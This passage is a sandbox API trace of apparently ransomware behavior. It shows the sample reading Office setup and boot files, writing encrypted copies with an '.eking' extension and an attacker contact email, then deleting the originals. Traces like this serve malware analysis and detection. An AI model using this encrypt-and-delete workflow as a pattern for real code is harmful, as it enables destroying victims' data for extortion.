nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xaec3a, lpOverlapped=0x0) returned 1 [0280.618] FlushFileBuffers (hFile=0x1b4) returned 1 [0280.734] FlushFileBuffers (hFile=0x1a4) returned 1 [0280.804] CloseHandle (hObject=0x1b4) returned 1 [0280.805] CloseHandle (hObject=0x1a4) returned 1 [0280.805] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0280.812] SetEvent (hEvent=0xe0) returned 1 [0280.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.813] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1450) returned 1 [0280.813] CloseHandle (hObject=0x1a4) returned 1 [0280.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0280.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0280.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.813] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.813] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0280.816] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5aa, lpOverlapped=0x0) returned 1 [0280.820] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5b0, lpOverlapped=0x0) returned 1 [0280.821] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0280.821] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.821] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.821] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5aa, lpOverlapped=0x0) returned 1 [0280.822] FlushFileBuffers (hFile=0x1a4) returned 1 [0280.898] FlushFileBuffers (hFile=0x1b4) returned 1 [0280.901] CloseHandle (hObject=0x1a4) returned 1 [0280.901] CloseHandle (hObject=0x1b4) returned 1 [0280.901] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0280.903] SetEvent (hEvent=0xe0) returned 1 [0280.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0280.903] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1886) returned 1 [0280.903] CloseHandle (hObject=0x1b4) returned 1 [0280.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0280.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0280.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0280.904] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.904] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0280.905] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x75e, lpOverlapped=0x0) returned 1 [0280.924] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x760, lpOverlapped=0x0) returned 1 [0280.925] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0280.925] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.925] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.925] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x75e, lpOverlapped=0x0) returned 1 [0280.926] FlushFileBuffers (hFile=0x1b4) returned 1 [0280.952] FlushFileBuffers (hFile=0x1a4) returned 1 [0280.958] CloseHandle (hObject=0x1b4) returned 1 [0280.959] CloseHandle (hObject=0x1a4) returned 1 [0280.959] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0280.960] SetEvent (hEvent=0xe0) returned 1 [0280.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.961] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=16683) returned 1 [0280.961] CloseHandle (hObject=0x1a4) returned 1 [0280.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0280.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0280.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.964] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.964] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0280.966] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x412b, lpOverlapped=0x0) returned 1 [0280.997] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x4130, lpOverlapped=0x0) returned 1 [0280.998] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0280.999] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.999] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.999] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x412b, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x412b, lpOverlapped=0x0) returned 1 [0280.999] FlushFileBuffers (hFile=0x1a4) returned 1 [0281.019] FlushFileBuffers (hFile=0x1b4) returned 1 [0281.020] CloseHandle (hObject=0x1a4) returned 1 [0281.020] CloseHandle (hObject=0x1b4) returned 1 [0281.021] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0281.023] SetEvent (hEvent=0xe0) returned 1 [0281.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0281.023] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1452) returned 1 [0281.023] CloseHandle (hObject=0x1b4) returned 1 [0281.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0281.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0281.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0281.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0281.024] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0281.024] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0281.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0281.026] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5ac, lpOverlapped=0x0) returned 1 [0281.028] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5b0, lpOverlapped=0x0) returned 1 [0281.029] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0281.029] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0281.030] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0281.030] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5ac, lpOverlapped=0x0) returned 1 [0281.030] FlushFileBuffers (hFile=0x1b4) returned 1 [0281.034] FlushFileBuffers (hFile=0x1a4) returned 1 [0281.036] CloseHandle (hObject=0x1b4) returned 1 [0281.037] CloseHandle (hObject=0x1a4) returned 1 [0281.037] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0281.038] SetEvent (hEvent=0xe0) returned 1 [0281.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0281.039] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1872) returned 1 [0281.039] CloseHandle (hObject=0x1a4) returned 1 [0281.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0281.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0281.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0281.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0281.039] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0281.039] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0281.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0281.040] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x750, lpOverlapped=0x0) returned 1 [0281.071] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x760, lpOverlapped=0x0) returned 1 [0281.076] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0281.076] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0281.076] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0281.076] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x750, lpOverlapped=0x0) returned 1 [0281.077] FlushFileBuffers (hFile=0x1a4) returned 1 [0281.232] FlushFileBuffers (hFile=0x1b4) Thread: id = 81 os_tid = 0x504 [0194.866] GetProcessHeap () returned 0x550000 [0194.866] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2560048 [0194.867] GetProcessHeap () returned 0x550000 [0194.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2570050 [0194.867] GetProcessHeap () returned 0x550000 [0194.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x572540 [0194.867] GetProcessHeap () returned 0x550000 [0194.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3370020 [0194.867] GetProcessHeap () returned 0x550000 [0194.867] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56cef8 [0194.868] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.868] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.868] Wow64DisableWow64FsRedirection (in: OldValue=0x2fafbbc | out: OldValue=0x2fafbbc*=0x0) returned 1 [0194.868] GetProcessHeap () returned 0x550000 [0194.868] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cef8 | out: hHeap=0x550000) returned 1 [0194.868] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0 [0194.890] ResetEvent (hEvent=0x134) returned 1 [0194.891] SetEvent (hEvent=0x138) returned 1 [0194.891] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0194.891] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=70208) returned 1 [0194.891] CloseHandle (hObject=0x19c) returned 1 [0194.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0194.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0194.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.892] 